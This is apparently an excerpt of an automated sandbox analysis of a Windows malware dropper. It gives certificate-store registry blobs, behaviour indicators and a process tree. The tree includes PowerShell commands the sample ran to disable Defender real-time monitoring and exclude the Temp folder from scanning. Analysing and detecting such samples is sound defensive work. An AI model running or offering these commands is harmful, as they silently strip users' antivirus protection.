5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da6030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e81d000000010000001000000073b6876195f5d18e048510422aef04e314000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e090000000100000016000000301406082b0601050507030206082b060105050703010b000000010000001a0000004900530052004700200052006f006f007400200058003100000062000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f630400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 Wed09d8d6edfaff2ac.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A Wed09d8d6edfaff2ac.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 5c000000010000000400000000080000190000000100000010000000fd960962ac6938e0d4b0769aa1a64e260f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb658140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a040000000100000010000000324a4bbbc863699bbe749ac6dd1d46242000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794 Wed09d8d6edfaff2ac.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e0f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f6362000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c60b000000010000001a0000004900530052004700200052006f006f0074002000580031000000090000000100000016000000301406082b0601050507030206082b0601050507030114000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e1d000000010000001000000073b6876195f5d18e048510422aef04e3030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e81900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 Wed09d8d6edfaff2ac.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 5064 PING.EXE -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 259 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1852 powershell.exe 1852 powershell.exe 1932 powershell.exe 1932 powershell.exe 1932 powershell.exe 1852 18.exe 1800 Wed09d27135e5a8b3b.tmp 1800 Wed09d27135e5a8b3b.tmp 2576 Wed09b2a8bc4f16cb.exe 2576 Wed09b2a8bc4f16cb.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe 4028 Wed09d8d6edfaff2ac.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1584 Explorer.EXE -
Suspicious behavior: MapViewOfSection 10 IoCs
pid Process 2576 Wed09b2a8bc4f16cb.exe 5488 iDy7r92AdHoe594PiOA4dmf8.exe 5488 iDy7r92AdHoe594PiOA4dmf8.exe 5488 iDy7r92AdHoe594PiOA4dmf8.exe 5384 4xggSC5Dk2sgR5wUwIkMzBkH.exe 5384 4xggSC5Dk2sgR5wUwIkMzBkH.exe 5384 4xggSC5Dk2sgR5wUwIkMzBkH.exe 4628 mstsc.exe 4628 mstsc.exe 5952 39P_8p3e0thz0YWGHuCJsZ4x.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
pid Process 1488 WinHoster.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2008 Wed096a1bff61.exe Token: SeCreateTokenPrivilege 3952 Wed09db0d52c38.exe Token: SeAssignPrimaryTokenPrivilege 3952 Wed09db0d52c38.exe Token: SeLockMemoryPrivilege 3952 Wed09db0d52c38.exe Token: SeIncreaseQuotaPrivilege 3952 Wed09db0d52c38.exe Token: SeMachineAccountPrivilege 3952 Wed09db0d52c38.exe Token: SeTcbPrivilege 3952 Wed09db0d52c38.exe Token: SeSecurityPrivilege 3952 Wed09db0d52c38.exe Token: SeTakeOwnershipPrivilege 3952 Wed09db0d52c38.exe Token: SeLoadDriverPrivilege 3952 Wed09db0d52c38.exe Token: SeSystemProfilePrivilege 3952 Wed09db0d52c38.exe Token: SeSystemtimePrivilege 3952 Wed09db0d52c38.exe Token: SeProfSingleProcessPrivilege 3952 Wed09db0d52c38.exe Token: SeIncBasePriorityPrivilege 3952 Wed09db0d52c38.exe Token: SeCreatePagefilePrivilege 3952 Wed09db0d52c38.exe Token: SeCreatePermanentPrivilege 3952 Wed09db0d52c38.exe Token: SeBackupPrivilege 3952 Wed09db0d52c38.exe Token: SeRestorePrivilege 3952 Wed09db0d52c38.exe Token: SeShutdownPrivilege 3952 Wed09db0d52c38.exe Token: SeDebugPrivilege 3952 Wed09db0d52c38.exe Token: SeAuditPrivilege 3952 Wed09db0d52c38.exe Token: SeSystemEnvironmentPrivilege 3952 Wed09db0d52c38.exe Token: SeChangeNotifyPrivilege 3952 Wed09db0d52c38.exe Token: SeRemoteShutdownPrivilege 3952 Wed09db0d52c38.exe Token: SeUndockPrivilege 3952 Wed09db0d52c38.exe Token: SeSyncAgentPrivilege 3952 Wed09db0d52c38.exe Token: SeEnableDelegationPrivilege 3952 Wed09db0d52c38.exe Token: SeManageVolumePrivilege 3952 Wed09db0d52c38.exe Token: SeImpersonatePrivilege 3952 Wed09db0d52c38.exe Token: SeCreateGlobalPrivilege 3952 Wed09db0d52c38.exe Token: 31 3952 Wed09db0d52c38.exe Token: 32 3952 Wed09db0d52c38.exe Token: 33 3952 Wed09db0d52c38.exe Token: 34 3952 Wed09db0d52c38.exe Token: 35 3952 Wed09db0d52c38.exe Token: SeDebugPrivilege 1852 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeDebugPrivilege 2164 Wed09b3a5ca1a712d390.exe Token: SeDebugPrivilege 4180 BCleanSoft82.exe Token: SeDebugPrivilege 4508 4.exe Token: SeDebugPrivilege 4604 5.exe Token: SeRestorePrivilege 4948 WerFault.exe Token: SeBackupPrivilege 4948 WerFault.exe Token: SeDebugPrivilege 4248 10.exe Token: SeShutdownPrivilege 1584 Explorer.EXE Token: SeCreatePagefilePrivilege 1584 Explorer.EXE Token: SeShutdownPrivilege 1584 Explorer.EXE Token: SeCreatePagefilePrivilege 1584 Explorer.EXE Token: SeShutdownPrivilege 1584 Explorer.EXE Token: SeCreatePagefilePrivilege 1584 Explorer.EXE Token: SeShutdownPrivilege 1584 Explorer.EXE Token: SeCreatePagefilePrivilege 1584 Explorer.EXE Token: SeShutdownPrivilege 1584 Explorer.EXE Token: SeCreatePagefilePrivilege 1584 Explorer.EXE Token: SeShutdownPrivilege 1584 Explorer.EXE Token: SeCreatePagefilePrivilege 1584 Explorer.EXE Token: SeShutdownPrivilege 1584 Explorer.EXE Token: SeCreatePagefilePrivilege 1584 Explorer.EXE Token: SeShutdownPrivilege 1584 Explorer.EXE Token: SeCreatePagefilePrivilege 1584 Explorer.EXE Token: SeShutdownPrivilege 1584 Explorer.EXE Token: SeCreatePagefilePrivilege 1584 Explorer.EXE Token: SeShutdownPrivilege 1584 Explorer.EXE Token: SeCreatePagefilePrivilege 1584 Explorer.EXE -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 2840 Wed09e95ff6b5.exe 2840 Wed09e95ff6b5.exe 2840 Altrove.exe.com 1800 Wed09d27135e5a8b3b.tmp 2840 Altrove.exe.com 2840 Altrove.exe.com 2840 Altrove.exe.com 2840 Altrove.exe.com 2840 Altrove.exe.com 2840 Altrove.exe.com 2840 Altrove.exe.com 1584 Explorer.EXE 1584 Explorer.EXE 1656 run2.exe 1584 Explorer.EXE 1584 Explorer.EXE 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1584 Explorer.EXE 1584 Explorer.EXE 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe -
Suspicious use of SendNotifyMessage 60 IoCs
pid Process 2840 Wed09e95ff6b5.exe 2840 Wed09e95ff6b5.exe 2840 Altrove.exe.com 2840 Altrove.exe.com 2840 Altrove.exe.com 2840 Altrove.exe.com 2840 Altrove.exe.com 2840 Altrove.exe.com 2840 Altrove.exe.com 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1584 Explorer.EXE 1584 Explorer.EXE 1656 run2.exe 1584 Explorer.EXE 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe 1656 run2.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1584 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 808 wrote to memory of 2320 808 setup_installer.exe 76 PID 808 wrote to memory of 2320 808 setup_installer.exe 76 PID 808 wrote to memory of 2320 808 setup_installer.exe 76 PID 2320 wrote to memory of 2536 2320 setup_install.exe 79 PID 2320 wrote to memory of 2536 2320 setup_install.exe 79 PID 2320 wrote to memory of 2536 2320 setup_install.exe 79 PID 2320 wrote to memory of 1304 2320 setup_install.exe 80 PID 2320 wrote to memory of 1304 2320 setup_install.exe 80 PID 2320 wrote to memory of 1304 2320 setup_install.exe 80 PID 2536 wrote to memory of 1932 2536 cmd.exe 89 PID 2536 wrote to memory of 1932 2536 cmd.exe 89 PID 2536 wrote to memory of 1932 2536 cmd.exe 89 PID 1304 wrote to memory of 1852 1304 cmd.exe 81 PID 1304 wrote to memory of 1852 1304 cmd.exe 81 PID 1304 wrote to memory of 1852 1304 cmd.exe 81 PID 2320 wrote to memory of 1412 2320 setup_install.exe 82 PID 2320 wrote to memory of 1412 2320 setup_install.exe 82 PID 2320 wrote to memory of 1412 2320 setup_install.exe 82 PID 2320 wrote to memory of 600 2320 setup_install.exe 87 PID 2320 wrote to memory of 600 2320 setup_install.exe 87 PID 2320 wrote to memory of 600 2320 setup_install.exe 87 PID 2320 wrote to memory of 360 2320 setup_install.exe 83 PID 2320 wrote to memory of 360 2320 setup_install.exe 83 PID 2320 wrote to memory of 360 2320 setup_install.exe 83 PID 2320 wrote to memory of 312 2320 setup_install.exe 84 PID 2320 wrote to memory of 312 2320 setup_install.exe 84 PID 2320 wrote to memory of 312 2320 setup_install.exe 84 PID 2320 wrote to memory of 1724 2320 setup_install.exe 85 PID 2320 wrote to memory of 1724 2320 setup_install.exe 85 PID 2320 wrote to memory of 1724 2320 setup_install.exe 85 PID 2320 wrote to memory of 3172 2320 setup_install.exe 86 PID 2320 wrote to memory of 3172 2320 setup_install.exe 86 PID 2320 wrote to memory of 3172 2320 setup_install.exe 86 PID 2320 wrote to memory of 1644 2320 setup_install.exe 88 PID 2320 wrote to memory of 1644 2320 setup_install.exe 88 PID 2320 wrote to memory of 1644 2320 setup_install.exe 88 PID 2320 wrote to memory of 920 2320 setup_install.exe 90 PID 2320 wrote to memory of 920 2320 setup_install.exe 90 PID 2320 wrote to memory of 920 2320 setup_install.exe 90 PID 2320 wrote to memory of 1252 2320 setup_install.exe 91 PID 2320 wrote to memory of 1252 2320 setup_install.exe 91 PID 2320 wrote to memory of 1252 2320 setup_install.exe 91 PID 1644 wrote to memory of 1148 1644 cmd.exe 112 PID 1644 wrote to memory of 1148 1644 cmd.exe 112 PID 1644 wrote to memory of 1148 1644 cmd.exe 112 PID 1412 wrote to memory of 1276 1412 cmd.exe 94 PID 1412 wrote to memory of 1276 1412 cmd.exe 94 PID 360 wrote to memory of 4028 360 cmd.exe 93 PID 360 wrote to memory of 4028 360 cmd.exe 93 PID 360 wrote to memory of 4028 360 cmd.exe 93 PID 2320 wrote to memory of 1344 2320 setup_install.exe 92 PID 2320 wrote to memory of 1344 2320 setup_install.exe 92 PID 2320 wrote to memory of 1344 2320 setup_install.exe 92 PID 2320 wrote to memory of 2660 2320 setup_install.exe 111 PID 2320 wrote to memory of 2660 2320 setup_install.exe 111 PID 2320 wrote to memory of 2660 2320 setup_install.exe 111 PID 1724 wrote to memory of 2308 1724 cmd.exe 110 PID 1724 wrote to memory of 2308 1724 cmd.exe 110 PID 1724 wrote to memory of 2308 1724 cmd.exe 110 PID 2320 wrote to memory of 1664 2320 setup_install.exe 109 PID 2320 wrote to memory of 1664 2320 setup_install.exe 109 PID 2320 wrote to memory of 1664 2320 setup_install.exe 109 PID 2320 wrote to memory of 1948 2320 setup_install.exe 108 PID 2320 wrote to memory of 1948 2320 setup_install.exe 108
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:1584 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:808 -
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS823188E5\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
PID:2536 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1852
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09f257bb7877d00b2.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1412 -
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09f257bb7877d00b2.exeWed09f257bb7877d00b2.exe5⤵
- Executes dropped EXE
PID:1276
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09d8d6edfaff2ac.exe4⤵
- Suspicious use of WriteProcessMemory
PID:360 -
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09d8d6edfaff2ac.exeWed09d8d6edfaff2ac.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:4028 -
C:\Users\Admin\Pictures\Adobe Films\vIbhD0SVFqEXOPaAylTpMO12.exe"C:\Users\Admin\Pictures\Adobe Films\vIbhD0SVFqEXOPaAylTpMO12.exe"6⤵
- Executes dropped EXE
PID:776
-
-
C:\Users\Admin\Pictures\Adobe Films\HbnZcEkba_UqabLoS_3sKPqH.exe"C:\Users\Admin\Pictures\Adobe Films\HbnZcEkba_UqabLoS_3sKPqH.exe"6⤵
- Executes dropped EXE
PID:5736 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5736 -s 6567⤵
- Program crash
PID:4412
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5736 -s 6727⤵
- Program crash
PID:5224
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5736 -s 6287⤵
- Program crash
PID:5256
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5736 -s 6687⤵
- Program crash
PID:5524
-
-
-
C:\Users\Admin\Pictures\Adobe Films\tcwuZ2T8hlTTHibIBDDSZ2lk.exe"C:\Users\Admin\Pictures\Adobe Films\tcwuZ2T8hlTTHibIBDDSZ2lk.exe"6⤵PID:4964
-
-
